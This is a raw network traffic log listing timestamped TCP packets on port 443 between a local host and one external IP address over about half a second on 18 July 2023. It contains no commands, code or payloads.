Jul 18, 2023 17:37:06.418116093 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.418131113 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.418173075 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.418221951 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.418807030 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.418831110 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.418881893 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.418900967 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.418927908 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.418955088 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.427282095 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.465939045 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.465972900 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.466105938 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.466125965 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.466182947 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.467817068 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.467854023 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.467947960 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.467964888 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468033075 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.468131065 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468153954 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468216896 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.468226910 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468283892 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.468501091 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468525887 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468597889 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.468609095 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.468642950 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.468662977 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.470417023 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.470449924 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.470540047 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.470556974 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.470608950 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.473059893 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.473089933 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.473182917 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.473197937 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.473251104 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.473625898 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.473655939 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.473711967 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.473722935 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.473761082 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.473783016 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.521626949 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.521672010 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.521807909 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.521812916 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.521837950 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.521867990 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.521889925 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.521912098 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.521919966 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.521945953 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.521970034 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.523631096 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.523667097 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.523799896 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.523816109 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.523866892 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.523999929 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.524028063 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.524065971 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.524075985 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.524108887 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.524121046 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.526899099 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.526932955 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.527050972 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.527067900 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.527105093 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.527131081 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.527138948 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.527159929 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.527173996 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.527250051 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.528657913 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.528769016 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.528779030 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.528793097 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.528841019 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.528862000 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.528986931 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.529053926 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.529071093 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.529083014 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.529122114 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.529156923 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.534141064 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.576857090 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.576894045 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.576965094 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.577025890 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.577033043 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.577054024 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.577107906 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.577136040 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.581877947 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.581932068 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582039118 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582039118 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582058907 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582086086 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582093000 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582129955 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582129955 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582139969 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582156897 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582456112 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582477093 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582521915 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582532883 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582575083 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582783937 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582812071 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582870007 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.582882881 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.582900047 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.583203077 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.583223104 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.583292961 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.583307981 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.583331108 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.583518982 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.583548069 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.583594084 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.583605051 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.583638906 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.632514954 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.632591963 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.632776976 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.632780075 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.632776976 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.632821083 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.632853031 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.632880926 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.632888079 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.632915974 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.632960081 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.632987022 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.637809992 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.637850046 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.637986898 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638016939 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638041973 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638042927 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638082027 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638101101 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638125896 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638127089 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638178110 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638204098 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638569117 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638626099 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638672113 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638685942 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638712883 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638736010 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638905048 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638937950 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.638981104 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.638991117 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639023066 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639058113 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639288902 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639333963 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639370918 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639379978 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639417887 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639431000 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639622927 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639662027 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639719963 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639729977 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.639748096 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.639775038 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.687751055 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.687824965 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.687942028 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.687971115 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.687998056 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.688044071 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.689511061 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.689568043 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.689655066 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.689683914 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.689713955 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.689738035 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.693886042 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.693938017 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.694024086 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.694050074 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.694082022 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.694128990 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.694350004 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.694444895 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.694494963 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.694511890 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.694541931 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.694570065 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.695048094 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.695096016 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.695221901 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.695244074 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.695305109 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.695765018 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.695811033 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.695873022 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.695888996 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.695914984 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.695943117 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.696325064 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.696377039 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.696434975 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.696456909 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.696490049 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.696530104 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.696939945 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.696985006 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.697053909 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.697068930 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.697093010 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.697143078 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.697475910 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.697513103 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.697582960 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.697596073 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.697621107 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.697652102 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.745934963 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.745992899 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.746082067 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.746097088 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.746143103 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.746167898 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.746367931 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.746433973 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.746474981 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.746485949 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.746510983 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.746529102 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751626968 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751677990 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751766920 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751784086 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751805067 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751826048 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751833916 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751859903 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751893997 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751907110 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751924992 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751931906 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.751967907 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.751996994 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752052069 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752096891 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752125025 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752131939 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752171040 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752223969 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752294064 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752305984 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752316952 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752387047 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752387047 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752574921 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752631903 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752672911 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752681017 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752721071 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752737045 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752788067 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752834082 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752857924 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752866030 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752901077 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752924919 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.752953053 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.752995968 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.753027916 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.753036022 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.753061056 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.753082037 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.781810999 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.781893969 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.782010078 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.782010078 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.782047987 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.782114029 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.800348997 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800415039 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800604105 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.800638914 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800724983 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800749063 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.800764084 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800825119 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800875902 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.800904989 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.800941944 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.800992966 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.807104111 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.807164907 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.807312012 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.807343960 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.807369947 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.807424068 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.807591915 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.807641029 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.807702065 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.807718039 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.807750940 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.807784081 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.808165073 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.808211088 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.808326006 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.808346033 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.808370113 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.808449030 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.808846951 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.808891058 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.808974028 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.808998108 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.809022903 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.809062004 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.809612989 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.809658051 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.809762955 CEST	49720	443	192.168.2.5	188.127.225.160
